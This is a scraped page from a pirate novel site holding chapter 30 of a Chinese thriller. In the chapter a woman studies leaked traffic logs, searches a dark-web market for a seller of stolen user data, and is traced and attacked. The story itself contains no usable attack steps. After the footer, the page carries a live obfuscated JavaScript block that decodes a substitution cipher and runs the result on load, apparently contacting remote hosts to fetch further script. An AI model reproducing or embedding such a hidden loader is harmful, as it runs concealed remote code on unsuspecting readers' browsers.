首页
第30章:黑市入口
返回
关灯 护眼:关 字号:小

第30章:黑市入口

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第30章:黑市入口(第1/2页)
    雨水在玻璃窗上划出细密的、不断变换的轨迹。
    路容坐在出租屋的书桌前,盯着窗外深港市被雨幕模糊的夜景。已经是深夜十一点四十七分,整栋楼安静得只剩下空调外机低沉的嗡鸣和雨水敲打窗沿的滴答声。空气里弥漫着潮湿的霉味,混合着桌上那杯早已凉透的速溶咖啡残留的焦苦气息。
    她面前并排放着两台笔记本电脑。
    左边那台是“干净”的私人电脑,屏幕暗着,键盘上落了一层薄灰。右边那台是经过老吴工具包处理的虚拟机环境,外壳上贴着一张便利贴,上面用潦草的字迹写着几行指令和注意事项。桌面上,周哲托付的那个黑色加密U盘静静地躺在鼠标垫旁,金属外壳反射着台灯昏黄的光,像一只沉默的眼睛。
    路容深吸一口气。
    她先拿起U盘,插进左边那台私人电脑的USB接口。电脑屏幕亮起,系统提示检测到新设备。她没有立刻打开,而是先拔掉网线,关闭Wi-Fi,确认所有网络连接都已切断。然后她打开一个完全离线的文本编辑器,输入周哲告诉她的密码——若溪入职日期的倒序数字。
    密码正确。
    U盘里只有一个文件夹,命名为“LOG_2023_09_15”。路容点开,里面是三个文件:一个超过500MB的完整日志文件,一个压缩过的抓包数据包,还有一个简短的文本说明。她先打开文本说明。
    “若溪:这是过去三个月内,从星耀内部服务器流向外部不明地址的所有异常数据流记录。时间戳精确到毫秒,源IP已做脱敏处理,但目标IP和端口号保留。数据包大小、加密特征指纹、传输协议都在日志里。抓包文件包含原始数据包样本,需要专业工具解析。我对比了行业标准的数据交易模式,匹配度超过87%。这不是偶然泄露。这不是技术故障。这是有计划的、持续性的非法交易。我不知道该怎么办,但我觉得你应该知道。——周哲”
    路容盯着屏幕上的字。
    台灯的光从侧面照过来,把她的脸分割成明暗两半。她能感觉到自己的心跳在加速,血液冲上耳膜,发出嗡嗡的声响。她移动鼠标,点开那个巨大的日志文件。
    屏幕上瞬间弹出密密麻麻的数据行。
    时间戳、源地址、目标地址、数据包大小、协议类型、加密算法标识……每一行都像一把冰冷的刀,切割着星耀集团光鲜亮丽的外壳。路容滚动鼠标,目光快速扫过那些数字和代码。她看到了规律——每周三和周五的凌晨两点到四点之间,数据流量会突然激增;目标地址分布在十几个不同的国家和地区,但有几个IP段反复出现;数据包大小惊人地一致,都是经过精心分割的标准大小,显然是便于打包出售。
    她打开抓包文件,用离线版的Wireshark加载。
    屏幕上跳出数据包的十六进制视图和解析后的协议树。路容放大其中几个数据包,查看载荷部分的加密特征。她认出了那种加密模式——一种在商业数据黑市上流行的、专门用于保护交易数据的混合算法。她曾经在天启科技参与过反数据泄露项目时研究过这种模式。
    证据。
    铁证。
    路容关掉所有文件,拔出U盘。她的手在微微颤抖,不是因为恐惧,而是因为一种近乎沸腾的愤怒。三年前,李剑用伪造的数据泄露案毁了她的人生。三年后,这个人还在继续,用更隐蔽、更系统的方式,把成千上万用户的隐私数据变成比特币账户里的数字。
    她闭上眼睛,深呼吸。
    潮湿的空气涌入肺叶,带着出租屋特有的、挥之不去的霉味。她能听见自己的心跳声,沉稳而有力,像某种战鼓。再睁开眼睛时,她眼里的最后一丝犹豫已经消失。
    是时候了。
    路容转向右边那台笔记本电脑,按下电源键。屏幕亮起,显示出一个完全陌生的操作系统界面——这是老吴为她定制的虚拟机环境,预装了多重伪装IP链、反追踪脚本、以及一系列用于暗网访问的工具。桌面上只有一个图标,黑色的,形状像一座扭曲的塔楼,下面标注着“入口”。
    她移动鼠标,双击图标。
    屏幕暗了一瞬,然后跳出一个全黑的窗口。窗口中央浮现出一行白色的文字,用的是某种古老的等宽字体:
    “正在初始化伪装层……请稍候。”
    文字下方,一个进度条开始缓慢移动。路容盯着屏幕,手指无意识地在桌面上敲击。她能听见电脑风扇开始加速旋转的声音,低沉而持续,像某种野兽在低吼。窗外,雨下得更大了,雨水拍打玻璃的声响变得密集而急促,像无数细小的手指在敲打。
    进度条走到尽头。
    黑色窗口消失,取而代之的是一个全新的界面。
    路容屏住了呼吸。
    屏幕被分割成三个区域。左侧是一个不断滚动的聊天窗口,里面充斥着各种她看不懂的暗语和加密后的字符串,偶尔跳出几张模糊的、令人不安的图片,又迅速消失。右侧是一个交易列表,条目密密麻麻,标题都是简短的代号和价格——有的用美元标价,有的用比特币,有的用其他加密货币。中央区域是主界面,背景是一片深邃的、不断流动的暗红色,像凝固的血,又像某种活体的内部。
    这就是“暗网枢纽”。
    路容移动鼠标,光标在屏幕上划过。她能感觉到这个界面的诡异——每一个按钮、每一个链接都设计得扭曲而刻意,仿佛在刻意挑衅正常人的视觉习惯。背景里隐约有低沉的、循环播放的电子音效,像是从很远的地方传来的心跳,又像是某种机器的嗡鸣。
    她先检查伪装状态。
    屏幕右上角有一个小小的状态面板,显示着当前使用的伪装IP链:节点1(荷兰)→节点2(新加坡)→节点3(巴西)→节点4(日本)。每一个节点后面都跟着绿色的“活跃”标识。反追踪脚本的运行状态也是绿色,日志显示过去五分钟内拦截了十七次试探性扫描。
    安全。
    暂时安全。
    路容把注意力转回交易列表。列表太长了,一眼望不到底。她尝试滚动,条目以惊人的速度刷新,每一秒都有新的交易上架或下架。标题五花八门:“金融数据库-2023年最新”“医疗记录包-未脱敏”“政府证件模板全套”“DDoS攻击服务-按小时计费”……
    她感到一阵恶心。
    这不是虚拟世界。这是真实世界的阴影面,是所有光鲜亮丽背后的脓疮。每一行交易记录背后,都是成千上万人的隐私被践踏,都是法律和道德被明码标价。
    路容摇摇头,把情绪压下去。
    她开始在搜索栏输入关键词。第一个词:“深蓝”。
    按下回车。
    屏幕闪烁了一下,交易列表迅速刷新,条目数量从数万骤降到几百。路容快速浏览,大部分都是无关的内容——深蓝币(某种加密货币)、深蓝网络(某个黑客组织)、深蓝协议(某种加密通信标准)……
    没有“深蓝之影”。
    她清空搜索栏,输入第二个词:“星耀”。
    这次的结果更少,只有几十条。路容一条条点开查看,大部分都是关于星耀集团股票的讨论,或者是一些无关紧要的内部八卦。她注意到其中有一条交易,标题是“星耀内部通讯录-2023年最新”,标价0.5比特币。她点开详情,发现只是某个部门的部分员工名单,信息陈旧,显然不是她要找的。
    路容靠在椅背上,揉了揉太阳穴。
    台灯的光把她的影子投在身后的墙壁上,巨大而扭曲。窗外的雨声似乎小了一些,但风还在呼啸,吹得窗框微微震动。她端起那杯凉透的咖啡,喝了一口,苦涩的液体滑过喉咙,带来一丝清醒。
    她需要更精确的关键词。
    路容重新坐直,打开周哲提供的日志文件,快速浏览那些异常数据流的特征。她注意到几个反复出现的模式:数据包大小总是128KB的整数倍;加密算法标识里有一个特殊的十六进制后缀“0xFE”;传输协议在标准TCP之上,还叠加了一层自定义的封装……
    她把这些特征记下来。
    然后她回到暗网枢纽的搜索界面,开始尝试组合搜索。第一次尝试:“深蓝星耀数据包”。没有结果。第二次尝试:“AI训练数据128KB封装”。这次跳出十几条交易,但都是公开的数据集,来源合法。
    路容咬住下唇。
    她能感觉到时间在流逝。每一次搜索,每一次页面刷新,都在增加暴露的风险。老吴的工具包能提供伪装,但不能保证绝对安全。暗网枢纽这种地方,肯定有自己的一套安全监控机制,任何异常行为都可能触发警报。
    她深吸一口气,决定尝试最后一个组合。
    输入:“0xFE封装用户行为模型”。
    按下回车。
    屏幕暗了一瞬。
    然后,交易列表刷新了。
    路容的身体前倾,眼睛紧紧盯着屏幕。列表上只有三条交易记录,每一条的标题都简短而隐晦:
    “AI训练数据切片-批次23-09A”
    “用户行为模型-脱敏版-2023Q3”
    “商业数据包-深蓝系列-最新”
    第三条。
    路容的鼠标悬停在第三条记录上。她能感觉到自己的手心在出汗,握住鼠标的指尖微微发粘。她点击那条记录。
    详情页面加载出来。
    背景还是那片暗红色,但中央区域显示出了更详细的信息。标题下方有一行小字:“卖家:深蓝之影”。旁边是卖家的信誉评分——五颗星,满分。交易历史显示,这个卖家在过去六个月内完成了四十七笔交易,总成交额超过1200比特币。
    路容滚动页面。
    下面是交易详情。商品描述:“高质量商业数据包,来源可靠,包含用户画像、行为模式、消费偏好等多维度数据。已做基础脱敏处理,但保留原始数据结构。适用于AI模型训练、精准营销、风险控制等场景。”
    数据包大小:128KB×1500
    加密方式:AES-256+自定义封装(标识0xFE)
    传输记录:分批次出售,最近一次交易时间:2023年9月12日
    买家反馈:全部五星好评,匿名评价“数据质量极高”“物超所值”
    路容继续往下翻。
    页面底部有一个“历史交易记录”的折叠区域。她点击展开。
    列表弹出来,密密麻麻,足足有几十行。每一行都是一个时间戳、一个数据包编号、一个成交价格。路容快速浏览,发现这些交易从今年三月开始,几乎每周都有。价格从最初的每个数据包0.05比特币,逐渐涨到现在的0.08比特币。按照这个价格计算,光是这几个月,李剑——或者说“深蓝之影”——就已经通过这个平台非法获利超过900比特币。
    (本章未完,请点击下一页继续阅读)第30章:黑市入口(第2/2页)
    按当前币价,那是将近三千万美元。
    路容感到一阵眩晕。
    不是因为这数字有多大,而是因为这意味着什么。这意味着在过去半年里,星耀集团数以百万计的用户数据,被系统性地、持续性地盗取和出售。这意味着李剑不仅三年前毁了她的人生,现在还在毁掉更多人的生活。
    她需要更多证据。
    光有交易记录还不够。她需要看到具体的交易详情,需要获取数据包的元数据哈希,需要确认这些数据确实来自星耀,需要建立无法辩驳的证据链。
    路容移动鼠标,点击最近的那条交易记录——2023年9月12日的那一笔。
    页面开始加载。
    进度条缓慢移动。屏幕中央显示着提示文字:“正在从分布式存储节点获取交易详情……请稍候。”
    路容盯着进度条。
    她能听见自己的心跳声,咚咚,咚咚,在寂静的房间里异常清晰。窗外的雨已经完全停了,但风还在吹,窗玻璃上凝结的水珠缓缓滑落,留下一道道蜿蜒的痕迹。台灯的光照在屏幕上,反射出她自己的脸——苍白的,紧绷的,眼睛里有一种近乎偏执的专注。
    进度条走到70%。
    突然,屏幕闪烁了一下。
    不是正常的闪烁,而是一种刺眼的、不稳定的抖动,像信号受到干扰。路容皱起眉头,身体前倾。她看到进度条卡在了85%,不动了。
    然后,屏幕中央弹出一个窗口。
    不是交易详情页面。
    是一个警告窗口。
    背景是刺眼的血红色,边框是跳动的黑色锯齿。窗口中央用粗大的白色字体显示着一行字:
    “检测到异常访问模式,您的会话已被标记。”
    字体的下方,还有一个不断倒计时的数字:10、9、8……
    路容的呼吸停滞了。
    她的手指僵在鼠标上,指尖冰凉。她能感觉到血液从脸上褪去,能感觉到后背瞬间冒出的冷汗浸湿了衬衫。她盯着那个倒计时,大脑在疯狂运转。
    被标记了。
    怎么被发现的?是搜索模式太规律?是访问频率异常?还是伪装层有漏洞?
    倒计时:5、4、3……
    没有时间思考了。
    路容猛地移动鼠标,点击警告窗口的关闭按钮——没用。她又尝试按键盘上的ESC键——还是没用。警告窗口顽固地停留在屏幕中央,倒计时数字无情地跳动:2、1……
    归零的瞬间,屏幕再次闪烁。
    这一次,整个界面都变了。
    暗红色的背景消失,取而代之的是一片冰冷的、毫无特征的深灰色。交易列表、聊天窗口、所有功能按钮全部消失。屏幕中央只剩下一个简单的命令行界面,黑色的背景,绿色的光标在闪烁。
    然后,文字开始自动弹出。
    “开始安全扫描……”
    “检测到伪装IP链:节点1(荷兰)-节点2(新加坡)-节点3(巴西)-节点4(日本)”
    “正在尝试反向追踪……”
    “节点1已屏蔽,连接丢失。”
    “节点2已屏蔽,连接丢失。”
    路容的心脏狂跳。
    她能听见电脑风扇的转速达到了极限,发出尖锐的嗡鸣。屏幕右下角,网络监控图标开始疯狂闪烁,状态栏连续弹出警报:
    “检测到端口扫描:22,80,443,3389……”
    “检测到SYN洪水攻击尝试……”
    “伪装IP链节点3已丢失……”
    “节点4遭受DDoS攻击,带宽占用98%……”
    攻击。
    密集的、专业的、毫不留情的攻击。
    路容的手在颤抖。她强迫自己冷静,快速操作。她先切断了虚拟机的网络连接——但攻击没有停止,反而更加猛烈。显然,对方已经锁定了她的真实IP,或者至少锁定了她所在的IP段。
    她必须断线。
    彻底断线。
    路容伸手按下笔记本电脑的电源键,长按。屏幕暗了下去,风扇的嗡鸣声逐渐减弱,最终消失。房间里陷入一片死寂,只有她自己的呼吸声,急促而粗重。
    她坐在黑暗中,盯着那台已经关机的电脑。
    窗外的风还在吹,远处传来救护车的鸣笛声,由远及近,又由远及去。墙壁上的挂钟滴答作响,指针指向凌晨一点零九分。
    路容缓缓吐出一口气。
    她站起来,走到窗边,拉开窗帘。深港市的夜景展现在眼前——无数高楼亮着灯,街道上车流稀疏,霓虹招牌在潮湿的空气里晕开一片片模糊的光晕。这座城市看起来如此平静,如此正常。
    但就在刚才,就在这间小小的出租屋里,她刚刚从一场数字世界的追杀中逃脱。
    不,不是逃脱。
    是被发现了。
    路容转过身,背靠着冰凉的窗玻璃。她能感觉到玻璃上传来的寒意,能感觉到自己后背的衬衫已经被冷汗完全浸湿,紧贴在皮肤上,又冷又黏。
    她看向书桌上那台关机的笔记本电脑。
    黑色的外壳,沉默的屏幕,像一具尸体。
    她知道,暗网调查这条路,暂时走不通了。对方的安全机制比她预想的更严密,反应速度比她预想的更快。她不仅没有拿到交易详情的证据,反而暴露了自己——或者至少,暴露了“某个试图调查深蓝之影的人”。
    接下来会发生什么?
    李剑的团队会收到警报吗?他们会开始内部排查吗?他们会怀疑到谁身上?周哲?还是其他可能知情的人?
    路容闭上眼睛。
    脑海里浮现出周哲站在天台上的背影,衬衫被风吹得紧贴在身上,孤独得像一座即将被黑暗吞噬的灯塔。还有他说的那句话:“我不知道该怎么办,但我觉得应该留下证据。”
    证据。
    她已经有了一部分证据——周哲给的U盘。但那只是内部证据,只能证明有异常数据流,不能直接指向李剑,更不能证明这些数据被非法出售。
    她还需要外部证据。
    暗网枢纽的交易记录,就是最直接的外部证据。但现在,这条路被堵死了。
    除非……
    路容睁开眼睛。
    她走到书桌前,重新坐下。没有开灯,只有窗外透进来的城市夜光,把房间照成一片朦胧的蓝灰色。她盯着那台关机的笔记本电脑,手指无意识地在桌面上敲击。
    哒,哒,哒。
    缓慢而规律。
    一个想法在她脑海里逐渐成形。
    一个危险的想法。
    一个可能需要她付出更大代价的想法。
    但也许,是唯一能同时保护周哲、又能拿到证据的办法。
    路容伸手,拿起桌上那个黑色的加密U盘。金属外壳在昏暗的光线里反射着微弱的冷光。她握紧它,棱角硌得掌心生疼。
    然后她站起来,走到房间角落,蹲下身,撬开一块松动的地板砖。
    下面是一个小小的隐藏空间。
    里面放着几样东西:一个备用的预付费手机,几张不记名的交通卡,一小叠现金,还有——一个更小的、用防水袋密封的U盘。
    那是三年前,她从天启科技带出来的东西。
    里面是她私下备份的、能证明自己清白和李剑可疑操作的部分原始数据碎片。这是她复仇火种的唯一来源,是她三年来从未向任何人展示过的最后底牌。
    路容拿出那个U盘。
    防水袋在手里发出细微的塑料摩擦声。她盯着它,看了很久。然后,她把它和那个黑色加密U盘放在一起。
    两个U盘。
    两个秘密。
    两个……她原本打算永远分开保存的东西。
    但现在,也许需要让它们见面了。
    路容把两个U盘都放回隐藏空间,盖好地板砖。她站起来,走到窗边,再次看向窗外的城市。
    雨已经完全停了。
    云层散开了一些,露出几颗稀疏的星星,在深港市严重的光污染中,显得黯淡而勉强。远处,一栋高楼的楼顶,红色的航空障碍灯在缓慢闪烁,一下,一下,像某种心跳。
    路容知道,她需要帮助。
    一个人的力量,已经不够了。
    她需要有人能帮她分析这些证据,需要有人能帮她制定下一步计划,需要有人能……在她可能失败的时候,继续这件事。
    她拿起那个备用的预付费手机,开机。
    屏幕亮起,显示着空白的通讯录。她输入一个号码——那是沈薇给她的紧急联络方式,一个只能使用一次、用完即焚的加密通信通道。
    她开始编辑信息。
    手指在冰冷的塑料键盘上移动,敲出一个一个的字。每敲一个字,她都能感觉到自己的决心在变得更加坚定,也能感觉到某种东西在离她远去——也许是最后一点侥幸,也许是最后一点对“全身而退”的幻想。
    信息编辑完成。
    她检查了一遍,确认没有暴露任何关键信息,没有提到任何具体人名,只是用约定的暗语表达了“需要见面,紧急,涉及核心证据”的意思。
    然后,她按下发送键。
    屏幕显示“发送成功”,然后自动开始删除程序。三秒钟后,手机自动关机,再也无法启动。路容把它拆开,取出SIM卡,折断,扔进马桶冲走。手机本体被她用锤子砸碎,碎片分装进几个垃圾袋,准备明天分散扔到不同的公共垃圾桶。
    做完这一切,她回到窗边。
    天边开始泛起一丝极淡的灰白色,像稀释过的牛奶。凌晨三点四十七分,夜晚最深的时刻已经过去,黎明正在逼近。
    路容靠在窗框上,闭上眼睛。
    她能感觉到疲惫像潮水一样涌上来,淹没了她的四肢,她的脊椎,她的大脑。但她不能睡。她需要等沈薇的回复,需要思考下一步,需要在李剑可能已经察觉的阴影下,找到新的突破口。
    风从窗缝里钻进来,带着凌晨特有的、清冽的寒意。
    路容打了个寒颤。
    她睁开眼睛,看向书桌上那台关机的笔记本电脑。黑色的屏幕像一面镜子,倒映出她自己的脸——苍白,疲惫,但眼睛里有一种她熟悉的东西。
    那是三年前,她从废墟里爬出来时,眼睛里就有的东西。
    那是火。
    从未熄灭的火。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();